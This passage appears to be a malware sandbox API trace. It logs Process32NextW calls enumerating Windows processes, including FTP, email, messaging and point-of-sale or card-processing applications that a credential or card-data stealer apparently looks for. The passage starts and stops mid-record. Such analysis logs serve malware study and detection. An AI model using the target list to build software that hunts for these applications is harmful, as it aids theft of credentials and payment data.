Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0094.112] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0094.113] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0094.114] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.114] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0094.115] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0094.116] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.116] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0094.117] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.117] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.118] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.119] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.120] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.120] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.121] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.122] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.122] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.123] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.124] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0094.124] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.125] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x554, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0094.126] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x708, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0094.126] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.127] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0094.128] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0094.128] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x818, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0094.129] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0094.130] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0094.130] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0094.131] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0094.132] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0094.133] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0094.133] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pending-windsor.exe")) returned 1 [0094.134] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed.exe")) returned 1 [0095.003] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="housing.exe")) returned 1 [0095.004] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x524, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="demonstrated.exe")) returned 1 [0095.005] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="clara_cancer.exe")) returned 1 [0095.008] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="solutionspassengersmoke.exe")) returned 1 [0095.080] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="wanted.exe")) returned 1 [0095.087] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="negotiations_g_mountains.exe")) returned 1 [0095.093] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rebound_spec_december.exe")) returned 1 [0095.101] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="rt-flight.exe")) returned 1 [0095.107] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually_kent.exe")) returned 1 [0095.108] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="especially.exe")) returned 1 [0095.109] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0095.110] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x980, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="voluntary-fluid-heating.exe")) returned 1 [0095.110] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="copefinancesringtones.exe")) returned 1 [0095.111] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="recommend hold florists.exe")) returned 1 [0095.112] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0095.112] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0095.113] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0095.114] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0095.115] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0095.116] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0095.117] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0095.118] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0095.141] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0095.142] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0095.143] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0095.145] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0095.146] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0095.147] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0095.148] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0095.149] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0095.155] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0095.156] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0095.157] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0095.158] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0095.160] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0095.161] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0095.162] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0095.163] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0095.164] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0095.165] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xec8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0095.868] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0095.877] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0096.252] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0096.299] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0096.300] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0096.301] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0096.302] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0096.303] Process32NextW (in: hSnapshot=0x32c, lppe=0x2d3f6bc | out: lppe=0x2d3f6bc*(dwSize=0x22c, cntUsage=0x0, 